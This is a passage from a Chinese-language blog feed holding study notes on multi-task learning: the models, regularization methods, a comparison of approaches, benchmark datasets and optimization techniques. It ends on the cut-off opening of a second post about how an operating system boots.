&lt;p&gt;MTL 和迁移学习 (transfer learning) 有区别：在迁移学习中，目标任务的性能提升有源任务的功劳，但总目标是提升目标任务的性能，而不是源任务的性能，知识被迁移；而在 MTL 中，每个任务被平等对待，知识被共享．MTL 和持续学习 (continual learning) 有区别：持续学习的任务一个接一个地被学习，而 MTL 的任务同时被学习．MTL 和多标签学习 (multi-label learning)、多任务回归 (multi-output regression) 有一定联系：把每个可能的标签视作一个任务，是 MTL 的特殊情形，但不能等同．MTL 和多视图学习 (multi-view learning) 不同：多视图学习中的每个数据都有多个视图，这些视图仅为训练单个任务．&lt;/p&gt;
&lt;h2&gt;MTL Models&lt;/h2&gt;
&lt;p&gt;给定 $m$ 个任务 ${\mathcal T_i}_{i=1}^m$，存在任务互相关联的子集．MTL 的目标就是：利用一些任务所包含的知识，同时学习所有任务，以改进每个任务的学习．&lt;/p&gt;
&lt;p&gt;记任务 $\mathcal T_i$ 的训练集 $\mathcal D_i = {\mathbf x_j^i, y_j^i}_{j=1}^{n_i}$，其中特征 $\mathbf x_j^i \in \mathbb R^{d_i}$．&lt;/p&gt;
&lt;p&gt;如果每个任务的特征空间相同 ($\forall, i \ne j, : d_i = d_j$)，则称该 MTL 为 homogeneous-feature MTL，否则称为 heterogeneous-feature MTL．&lt;/p&gt;
&lt;p&gt;MTL 可同时含 (无/半) 监督学习、强化学习、多视图学习、图模型的不同类型的多任务，这时是 heterogeneous MTL，反之相同类型的多任务则是 homogeneous MTL．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;若无特殊说明，本文的 MTL 默认是 homogeneous-feature 的，且为 homogeneous MTL．&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;when to share：是否用多个单任务模型处理多任务？交叉验证计算开销大、数据量要求大，此时宜用 MTL．&lt;/li&gt;
&lt;li&gt;what/how to share：三种形式．
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;共享特征&lt;/strong&gt;：将输入特征先选择/映射到隐空间里，分别学习隐空间到各任务输出空间映射．&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;共享样本&lt;/strong&gt;：维护所有样本对各任务的权重，加权到各个损失函数上．&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;共享参数&lt;/strong&gt;：预先定义任务的相关性结构 (如对参数空间施加低秩约束后在低维子空间中调参、对任务聚类)、自动学习任务之间的相似性、将参数分解为受正则约束的共享部分和任务特定部分．&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;目前对 MTL 的研究主要集中在共享特征和共享参数上，针对共享样本的研究较少．&lt;/p&gt;
&lt;h3&gt;特征学习途径&lt;/h3&gt;
&lt;p&gt;我们假设不同任务之间存在共享的特征表示．&lt;/p&gt;
&lt;h4&gt;特征变换途径&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;线性变换&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;:::note[多任务特征学习 (MTFL)]
用正交变换 (旋转、反射，长度角度均不变) 把原始特征映射进共享特征空间 (&lt;strong&gt;硬共享&lt;/strong&gt;)．这样一来，多任务的输入空间不再是原来的 $m$ 个特征空间 $\mathbb R_i^d$，转变成 $1$ 个共享特征空间 $\mathbb R^d$．
$$
\begin{aligned}
\min_{\mathbf A, \mathbf U, \mathbf b} &amp;amp; :: \sum_{i=1}^{m} \dfrac{1}{n_i} \sum_{j=1}^{n_i} \mathcal L((\mathbf a^i)^\top \mathbf U^\top \mathbf x_j^i + b_i, y_j^i) + \lambda \Vert \mathbf A \Vert_{2,1}^2 \
\text{s.t.} &amp;amp; :: \mathbf U \mathbf U^\top = \mathbf I
\end{aligned}
$$
其中 $\mathbf U^\top$ 对 $m$ 个任务共享，$\mathbf a^i$ 和 $b_i$ 为 $\mathcal T_i$ 私有．
$$
\begin{aligned}
&amp;amp;\mathbb R_i^d \rightarrow \mathbb R^d \rightarrow \mathbb R_i \
&amp;amp;\mathbf x_j^i \mapsto \mathbf U^\top \mathbf x_j^i \mapsto (\mathbf a^i)^\top \mathbf U^\top \mathbf x_j^i + b_i
\end{aligned}
$$
我们不会让所有任务盲目共享所有特征，而是&lt;strong&gt;仅共享某些特征的子集&lt;/strong&gt;，以避免无关特征为训练带来的干扰，实现共享特征的选择．这样的&lt;strong&gt;特征选择&lt;/strong&gt;该如何实现呢？「选择」步骤是在共享层后发生的，因此我们可以对 $\mathbf A$ 下手，对其进行约束．如何约束？注意到整个过程是优化过程，也就是最小化损失函数，于是我们可以给损失函数添加正则项，利用「最小化过程」为 $\mathbf A$ 的约束提供源动力．&lt;/p&gt;
&lt;p&gt;$\ell_{2,1}$ 正则化
$$
\begin{aligned}
&amp;amp;\mathbf{A} = [\mathbf{a}^1, \mathbf{a}^2, ..., \mathbf{a}^m] \in \mathbb{R}^{d \times m} \
&amp;amp;\Vert \mathbf A \Vert_{2,1}^2 = (\Vert \mathbf A_{1,:} \Vert_2 + \Vert \mathbf A_{2,:} \Vert_2 + \cdots + \Vert \mathbf A_{d,:} \Vert_2)^2
\end{aligned}
$$
优化过程中，外层的 $\ell_1$ 正则化会倾向于让每行的 $\ell_2$ 范数贴近坐标轴，会尽量让 $\mathbf A$ 的每一行极化：要么使其贴近 $\mathbf 0$，要么不动．这意味着该行对应的特征被所有任务弃用/选择，这样就实现了特征选择．&lt;/p&gt;
&lt;p&gt;这里用正则化约束实现无关特征的弃用，有个重要前提：&lt;strong&gt;无关特征被映射到共享特征空间后依旧无关&lt;/strong&gt;，否则我们只能弃用共享特征空间的无关特征，而无法关联到原始特征空间．这个前提由 $\mathbf U$ 的正交性保证．&lt;/p&gt;
&lt;p&gt;可以证明，上面的优化问题有个等价形式：
$$
\begin{aligned}
\min_{\mathbf W, \mathbf D, \mathbf b} &amp;amp; :: L(\mathbf W, \mathbf b) + \lambda ,\text{tr}(\mathbf W^\top \mathbf D^{-1} \mathbf W) \
\text{s.t.} &amp;amp; :: \mathbf D \succeq \mathbf 0, :\text{tr}(\mathbf D) \le 1
\end{aligned}
$$
其中 $L(\mathbf W, \mathbf b) = \sum_{i=1}^m \frac{1}{n_i} \sum_{j=1}^{n_i} \mathcal L((\mathbf w^i)^\top \mathbf x_j^i + b_i)$，$\mathbf w^i = \mathbf U \mathbf a^i$ 是 $\mathcal T_i$ 的参数．正则项实际上是所有 $\mathbf w^i$ 的马氏距离的平方和，鼓励 $\mathbf W$ 低秩，这与所有任务共享一个低维特征子空间是一致的．当 $\mathbf W$ 固定时，$\mathbf D$ 有解析解
$$
\mathbf D = \frac{\sqrt{\mathbf W^\top \mathbf W}}{\text{tr}\sqrt{\mathbf W^\top \mathbf W}}
$$
:::&lt;/p&gt;
&lt;p&gt;与 MTFL 类似，&lt;strong&gt;多任务稀疏编码 (Multi-task Sparse Coding)&lt;/strong&gt; 则通过字典 $\mathbf U \in \mathbb R^{d \times D}$ 将特征空间升维至 $D &amp;gt; d$，然后用稀疏的系数向量 $\mathbf a^i$ 进行特征选择
$$
\begin{aligned}
\min_{\mathbf A, \mathbf D, \mathbf b} &amp;amp; :: L(\mathbf {UA}, \mathbf b) \
\text{s.t.} &amp;amp; :: \Vert \mathbf a^i \Vert_1 \le \lambda, : \Vert \mathbf u^j \Vert_2 \le 1, : \forall, (i, j) \in [m] \times [D]
\end{aligned}
$$
相比 MTFL，稀疏编码中的每个任务都从这个共享字典中独立地挑选原子 (字典的列)，而不是用行稀疏性鼓励在顶点处取得．&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;非线性变换&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们往往用&lt;strong&gt;大量&lt;/strong&gt;共享层来学习共同特征表示，而且共享层不局限于全连接，还可以是&lt;strong&gt;卷积层、池化层&lt;/strong&gt;等 (CV 里的共享卷积、NLP 里的共享 BERT 编码器)．&lt;/p&gt;
&lt;p&gt;:::tip[对抗学习共同特征]
使用三个网络进行极大极小博弈
$$
\min_{\theta_f, \theta_c} \max_{\theta_d} \sum_{i=1}^m \frac{1}{n_i} \sum_{j=1}^{n_i} \Big( \mathcal L_{\text{task}}(N_{\theta_c}(N_{\theta_f}(\mathbf x_j^i)), y_j^i) - \mathcal L_{\text{ce}} (N_{\theta_d}(N_{\theta_f}(\mathbf x_j^i)), d_j^i) \Big)
$$
其中特征网络 $N_{\theta_{f}}$ 负责学习共同特征，领域网络 $N_{\theta_{d}}$ 负责从共同特征中辨别出这个数据出自哪个任务 (体现在让交叉熵损失 $\mathcal L_{\text{ce}}$ 最小，让整个表达式最大)．这时 $N_{\theta_{f}}$ 会尽可能最小化任务损失，同时要阻止 $N_{\theta_{d}}$ 辨别成功．换言之，$N_{\theta_{f}}$ 学到了共同特征．
:::&lt;/p&gt;
&lt;p&gt;:::tip[交叉连接网络 (Cross-stitch Network)]
我们还可以不强制所有任务共享完全相同的底层表示，而是用同一个网络来学习共同特征．&lt;/p&gt;
&lt;h1&gt;具体地，取每个任务的第 $i$ 层 $\mathbf x_i$，每层取第 $j$ 个节点 $x_{i,j}$，最后得到一个 $m$ 维向量 $(x_{i,j}^1, \cdots, x_{i,j}^m)$．我们考虑在这个时候学习共同特征
$$
\begin{pmatrix}
\tilde x_{i,j}^1 \
\vdots \
\tilde x_{i,j}^m
\end{pmatrix}&lt;/h1&gt;
&lt;p&gt;\mathbf A_i
\begin{pmatrix}
x_{i,j}^1 \
\vdots \
x_{i,j}^m
\end{pmatrix}
$$
$\mathbf A_i$ 越倾向于对角矩阵，共同特征的学习程度就越低．$\mathbf A_i$ 可以通过反向传播更新．
:::&lt;/p&gt;
&lt;h4&gt;特征选择途径&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;基于 $\ell_{p,q}$ 正则化：
&lt;ol&gt;
&lt;li&gt;$\ell_{2,1}$ 范数 (行稀疏) $\min_{\mathbf W,\mathbf b} L(\mathbf W, \mathbf b) + \lambda \Vert \mathbf W \Vert_{2,1}$&lt;/li&gt;
&lt;li&gt;加权 $\ell_{2,1}$ 范数 $\min_{\mathbf W,\mathbf b, { \gamma_i }} L(\mathbf W, \mathbf b) + \lambda \sum_{i=1}^d \gamma_i \Vert \mathbf w_i \Vert_2$&lt;/li&gt;
&lt;li&gt;重叠组稀疏&lt;/li&gt;
&lt;li&gt;平方根损失 (对异常值敏感) $\min_{\mathbf W,\mathbf b} \sqrt{L(\mathbf W, \mathbf b)} + \lambda \Vert \mathbf W \Vert_{2,1}$&lt;/li&gt;
&lt;li&gt;安全筛选：优化前筛选出 $\mathbf W$ 的零行，对应着无用特征&lt;/li&gt;
&lt;li&gt;$\ell_{\infty, 1}$ 范数 $\min_{\mathbf W,\mathbf b} L(\mathbf W, \mathbf b) + \lambda \Vert \mathbf W \Vert_{\infty,1}$，可以用块坐标下降法&lt;/li&gt;
&lt;li&gt;Capped-$\ell_{p,1}$ ​正则化 $\min_{\mathbf W,\mathbf b} L(\mathbf W, \mathbf b) + \lambda \sum_{i=1}^d \min(\Vert \mathbf w_i \Vert_p, \theta)$，$p = 1, 2$．效果是对重要特征 (对应较大的 $\Vert \mathbf w_i \Vert_p$) 不过度惩罚，对无关特征则保持惩罚力度．&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;基于参数分解：Multi-level Lasso 把特征选择分成全局稀疏和局部稀疏，$\min_{\boldsymbol \theta, \hat {\mathbf W}, \mathbf b} L(\mathbf W, \mathbf b) + \lambda_1 \Vert \boldsymbol \theta \Vert_1 + \lambda_2 \Vert \hat {\mathbf W} \Vert_1, :\text{s.t.}: w_{ji} = \theta_j \hat w_{ji}, \theta_j \ge 0$，推广形式 $\min_{\boldsymbol \theta, \hat {\mathbf W}, \mathbf b} L(\mathbf W, \mathbf b) + \lambda_1 \Vert \boldsymbol \theta \Vert_p^p + \lambda_2 \sum_{i=1}^m \Vert \hat {\mathbf w}^i \Vert_q^q$&lt;/li&gt;
&lt;li&gt;基于结构先验：
&lt;ol&gt;
&lt;li&gt;先验知识：单个特征用于哪些任务的关系满足树结构．所有任务作为叶节点建树，把正则项设计成 $f(\mathbf W) = \sum_{i=1}^d \sum_{v \in V} \lambda_v \Vert \mathbf w_{i,G_v} \Vert_2$，其中 $V$ 是树的所有节点，$G_v$ 是子树所有叶节点，$\mathbf w_{i, G_v}$ 是从 $\mathbf W$ 中选取的 $|G_v|$ 维子向量．这样就实现了层次化地特征选择，在 $\ell_{2,1}$ 的行稀疏基础上实现行内选择的稀疏．&lt;/li&gt;
&lt;li&gt;先验知识：不同任务选用的特征互斥．使用列稀疏 $\min_{\mathbf W,\mathbf b} L(\mathbf W, \mathbf b) + \lambda \Vert \mathbf W \Vert_{1,2}^2$．&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;基于 Bayesian 模型：正则来自先验．(待学习 Bayesian 统计学后再补充)
&lt;ol&gt;
&lt;li&gt;广义正态先验&lt;/li&gt;
&lt;li&gt;Horseshoe 先验&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;低秩途径&lt;/h3&gt;
&lt;p&gt;如果多个任务相关，那么参数矩阵 $\mathbf W \in \mathbb R^{d \times m}$ 应该低秩．可以将每个任务的参数分解为共享低秩子空间和任务特定部分：
$$
\mathbf w^i = \mathbf u^i + \mathbf \Theta^\top \mathbf v^i
$$
其中子空间 $\mathbf \Theta \in \mathbb R^{h \times d}$，$h &amp;lt; d$，此时优化问题为
$$
\begin{aligned}
\min_{\mathbf U, \mathbf V, \mathbf \Theta, \mathbf b} &amp;amp; :: L(\mathbf U + \mathbf \Theta^\top \mathbf V, \mathbf b) + \lambda \Vert \mathbf U \Vert_F^2 \
\text{s.t.} &amp;amp; :: \mathbf \Theta \mathbf \Theta^\top = \mathbf I
\end{aligned}
$$
其中 $\Vert \cdot \Vert_F$ 是 Frobenius 范数，$\Vert \mathbf U \Vert_F = \sqrt{\sum_{i=1}^m\sum_{j=1}^n |u_{ij}|^2}$．&lt;/p&gt;
&lt;p&gt;凸松弛、迹范数正则化、Capped 迹范数、深度模型的低秩．&lt;/p&gt;
&lt;h3&gt;任务聚类途径&lt;/h3&gt;
&lt;p&gt;如果多个任务相关，那么可以通过聚类来构建任务相关关系的等价类．&lt;/p&gt;
&lt;p&gt;早期通过评估任务间迁移精度构建任务转移矩阵，然后最大化簇内相似度进行聚类．但该方法分两步，可能不是最优的．&lt;/p&gt;
&lt;p&gt;Bayesian 方法、正则化、GO-MTL (软聚类与重叠簇)&lt;/p&gt;
&lt;h3&gt;任务关系学习途径&lt;/h3&gt;
&lt;p&gt;从数据自动学习任务之间的定量关系 ($m \times m$ 相似方阵、协方差矩阵等)&lt;/p&gt;
&lt;p&gt;多任务高斯过程 (MTGP)、任务关系学习 (MTRL)、非对称关系、局部学习方法中的人物关系．&lt;/p&gt;
&lt;h3&gt;分解途径&lt;/h3&gt;
&lt;p&gt;将参数矩阵 $\mathbf W \in \mathbb R^{d \times m}$ 分解为多个分量 $\mathbf W = \sum_{k=1}^h \mathbf W_k$，每个分量受不同的正则化约束 (行列稀疏、低秩(迹范数))，可以简单使用双分量分解，可以多分量分解，可以基于树的全分量分解．&lt;/p&gt;
&lt;h3&gt;各种途径的比较&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;途径&lt;/th&gt;
&lt;th&gt;核心思想&lt;/th&gt;
&lt;th&gt;优点&lt;/th&gt;
&lt;th&gt;局限性&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;特征学习&lt;/td&gt;
&lt;td&gt;学习共享特征表示&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;可解释性好&lt;/strong&gt;，能处理异构特征；深度模型强大&lt;/td&gt;
&lt;td&gt;对异常任务敏感，线性变换&lt;strong&gt;表达能力有限&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;低秩&lt;/td&gt;
&lt;td&gt;参数矩阵低秩&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;捕获全局结构&lt;/strong&gt;，凸松弛易优化&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;仅适用于线性模型&lt;/strong&gt;，扩展非线性困难&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;任务聚类&lt;/td&gt;
&lt;td&gt;任务划分为簇&lt;/td&gt;
&lt;td&gt;可识别任务群组，&lt;strong&gt;结果直观&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;多数&lt;strong&gt;需预先指定簇数&lt;/strong&gt;，忽略簇间负相关&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;任务关系学习&lt;/td&gt;
&lt;td&gt;学习任务间定量关系&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;可量化任务相似性&lt;/strong&gt;，增强可解释性&lt;/td&gt;
&lt;td&gt;关系矩阵学习可能过拟合，&lt;strong&gt;计算量大&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;分解&lt;/td&gt;
&lt;td&gt;参数分解为多分量&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;能建模复杂层次结构&lt;/strong&gt;，灵活性强&lt;/td&gt;
&lt;td&gt;分量数需确定，&lt;strong&gt;模型复杂度高&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;基准数据集&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;数据集&lt;/th&gt;
&lt;th&gt;任务数 (m)&lt;/th&gt;
&lt;th&gt;总样本量&lt;/th&gt;
&lt;th&gt;特征维度 (d)&lt;/th&gt;
&lt;th&gt;任务类型&lt;/th&gt;
&lt;th&gt;特点&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;School&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;139&lt;/td&gt;
&lt;td&gt;15,362&lt;/td&gt;
&lt;td&gt;28&lt;/td&gt;
&lt;td&gt;回归&lt;/td&gt;
&lt;td&gt;层次结构&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SARCOS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;48,933&lt;/td&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;回归&lt;/td&gt;
&lt;td&gt;大规模，共享物理知识&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Computer Survey&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;180&lt;/td&gt;
&lt;td&gt;36,000&lt;/td&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;回归&lt;/td&gt;
&lt;td&gt;任务多，但每个任务数据少&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Parkinson&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;42&lt;/td&gt;
&lt;td&gt;5,875&lt;/td&gt;
&lt;td&gt;19&lt;/td&gt;
&lt;td&gt;回归&lt;/td&gt;
&lt;td&gt;纵向&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Sentiment&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;8,000&lt;/td&gt;
&lt;td&gt;高维文本特征&lt;/td&gt;
&lt;td&gt;分类 (二分类)&lt;/td&gt;
&lt;td&gt;NLP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;MHC-I&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;35&lt;/td&gt;
&lt;td&gt;15,236&lt;/td&gt;
&lt;td&gt;特征工程得来&lt;/td&gt;
&lt;td&gt;分类 (二分类)&lt;/td&gt;
&lt;td&gt;任务可聚类&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Landmine&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;29&lt;/td&gt;
&lt;td&gt;14,820&lt;/td&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;分类 (二分类)&lt;/td&gt;
&lt;td&gt;任务可聚类&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Office-Caltech&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;2,533&lt;/td&gt;
&lt;td&gt;图像深度特征&lt;/td&gt;
&lt;td&gt;分类 (多类，31类)&lt;/td&gt;
&lt;td&gt;CV&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Office-Home&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;~15,500&lt;/td&gt;
&lt;td&gt;图像深度特征&lt;/td&gt;
&lt;td&gt;分类 (多类，65类)&lt;/td&gt;
&lt;td&gt;CV，大规模&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ImageCLEF&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;~2,400&lt;/td&gt;
&lt;td&gt;图像深度特征&lt;/td&gt;
&lt;td&gt;分类 (多类，12类)&lt;/td&gt;
&lt;td&gt;CV&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;任务的选取需满足自然相关性，比如同一领域的重复采样、同一个体的连续采样．&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;School 数据集&lt;/strong&gt;用于预测 139 座学校 (任务) 的学生成绩．共 15,362 位学生 (样本)，每份样本含学校特征和个人特征．&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SARCOS 数据集&lt;/strong&gt;研究 SARCOS 仿真机器人 7 个关节 (任务) 所需扭矩的逆动力学问题．共 48,933 种运动状态 (样本)，每份样本含 7 个关节的位移、速度、加速度 (21 个特征)．7 个任务共享力学原理．&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Computer Survey 数据集&lt;/strong&gt;用于预测 180 位消费者 (任务) 对 PC 的评分．共 20 台 PC (样本)，每份样本含 13 个特征 (该 PC 的价格、CPU、RAM 等)．&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Parkinson 数据集&lt;/strong&gt;用于预测 42 位帕金森患者 (任务) 的症状评分．共 5,875 条纵向记录 (样本)，每份样本含 19 个生物医学特征描述．&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sentiment 数据集&lt;/strong&gt;用于评判 4 个产品领域 (任务) 中评论的褒贬．共 2,000 条评论 (样本)，高维文本特征．&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MHC-I 数据集&lt;/strong&gt;用于评判 35 种 MHC-I 分子 (任务) 能否与给定多肽结合．共 15,236 种多肽 (样本)，特征工程．这 35 种分子按作用机理可分类，因此可任务聚类．&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Landmine 数据集&lt;/strong&gt;用于评判 29 个雷区 (任务) 雷达图像数据点是否为地雷．共 14,820 个数据点 (样本)，由 9 个特征描述．所有任务中，绿植沙漠各占一半，因此任务可聚类．&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Office-Caltech 数据集&lt;/strong&gt;用于 4 个领域 (Amazon、DSLR、Webcam、Caltech) (任务) 图像的多分类．共 2,533 张图片 (样本)，10 分类．&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Office-Home 数据集&lt;/strong&gt;用于 4 个领域 (Art、Clipart、Product、Real-World) (任务) 图像的多分类．约 15,500 张图片 (样本)，65 分类．&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ImageCLEF 数据集&lt;/strong&gt;用于 4 个图片来源 (任务) 的图像多分类．约 2,400 张图片 (样本)，12 分类．&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;总体而言，MTL 优于单任务学习；不同数据集适合不同方法，如含簇结构的数据集（School, MHC-I, Landmine）上聚类、关系学习、分解方法表现更好；图像数据集上深度模型占优．&lt;/p&gt;
&lt;h3&gt;正则化 MTL 方法的另一种分类&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;学习特征协方差：对应 MTFL 途径，特征选择途径等&lt;/li&gt;
&lt;li&gt;学习任务关系：对应 MTRL 途径，任务聚类途径等&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;MTL 的优化技术&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;梯度下降及其变体：适用于光滑无约束问题；非光滑时可用次梯度；有约束时用投影梯度．深度 MTL 中常用随机梯度下降、梯度归一化 (GradNorm)、梯度手术等技巧平衡多任务学习．&lt;/li&gt;
&lt;li&gt;块坐标下降 (BCD)：交替优化参数块 (如任务参数和关系矩阵)，每步子问题较简单，广泛用于 MTL．&lt;/li&gt;
&lt;li&gt;近端方法 (Proximal Method)：处理非光滑正则项 (如 $\ell_{2,1}$​、迹范数)，通过近端算子迭代更新，加速收敛．&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;MTL 与其他学习范式的结合&lt;/h2&gt;
&lt;h3&gt;半监督学习与主动学习&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;半监督多任务学习：利用无标记数据挖掘几何结构．Liu 用随机游走和狄利克雷过程；Zhang and Yeung 用高斯过程．&lt;/li&gt;
&lt;li&gt;多任务主动学习：选择对多个任务都有信息量的样本．Reichart 提出两种协议；Fang and Tao 基于置信区间．&lt;/li&gt;
&lt;li&gt;半监督多任务主动学习：结合两者．&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;聚类&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;多任务 Bregman 聚类：使不同任务的聚类中心相近．&lt;/li&gt;
&lt;li&gt;多任务核 k-means：学习核矩阵同时最小化任务间 MMD．&lt;/li&gt;
&lt;li&gt;基于 MTFL 和 MTRL 的聚类：将标签视为待学习的簇指示．&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;强化学习&lt;/h3&gt;
&lt;p&gt;多任务强化学习 (MRL) 利用任务间共享知识加速学习．方法包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;分层贝叶斯模型、狄利克雷过程；&lt;/li&gt;
&lt;li&gt;稀疏正则化；&lt;/li&gt;
&lt;li&gt;策略草图、注意力机制；&lt;/li&gt;
&lt;li&gt;策略蒸馏和知识迁移；&lt;/li&gt;
&lt;li&gt;分布式与在线 MRL．&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;多视图学习&lt;/h3&gt;
&lt;p&gt;多任务多视图学习：每个任务有多个视图．常见方法：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;图正则化：不同任务在共享视图上预测一致；&lt;/li&gt;
&lt;li&gt;非负矩阵分解：同时考虑视图内聚类、视图间一致性和任务间共享子空间；&lt;/li&gt;
&lt;li&gt;深度交叉连接网络：融合多视图特征．&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;图模型&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;多任务贝叶斯网络结构学习：共享先验，启发式搜索；&lt;/li&gt;
&lt;li&gt;联合学习多个高斯图模型：通过 $\ell_{\infty, 1}$ 正则迫使精度矩阵联合稀疏；&lt;/li&gt;
&lt;li&gt;特征交互矩阵学习：用 $\ell_{2, 1}$ 或张量迹范数建模任务间特征交互．&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;展望&lt;/h2&gt;
&lt;p&gt;未来方向包括：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;异常任务处理：现有方法虽能减轻负影响，但缺乏系统理论和安全保证．&lt;/li&gt;
&lt;li&gt;深度多任务模型：当前深度模型多为硬共享，对异常任务脆弱，需要设计更鲁棒灵活的深度结构．&lt;/li&gt;
&lt;li&gt;非监督任务拓展：将五类方法推广到半监督、主动、强化、多视图等任务，以及逻辑、规划等 AI 领域．&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>OS 随记</title><link>https://fuwari.vercel.app/posts/cs/os/start/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/cs/os/start/</guid><description>一些零散的操作系统知识</description><pubDate>Thu, 19 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;OS 随记&lt;/h1&gt;
&lt;p&gt;:::warning
以下内容不一定准确，存在大量简化模型．
:::&lt;/p&gt;
&lt;h2&gt;杂记&lt;/h2&gt;
&lt;h3&gt;开机后发生了什么？&lt;/h3&gt;
&lt;p&gt;:::note[固件 (Firmware)]
固件是一段被烧录在主板 ROM 上的程序，用于初始化硬件，引导操作系统的启动．&lt;/p&gt;
&lt;p&gt;常见的固件有 BIOS (Basic I/O System) 和 UEFI (Unified Extensible Firmware Interface，统一可扩展固件接口) 固件 (由各家主板厂商按照 UEFI 规范实现)．
:::&lt;/p&gt;
&lt;p&gt;电路逻辑：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;电源被接通．&lt;/li&gt;
&lt;li&gt;时钟发生器产生时钟脉冲．&lt;/li&gt;
&lt;li&gt;所有寄存器被复位．&lt;/li&gt;
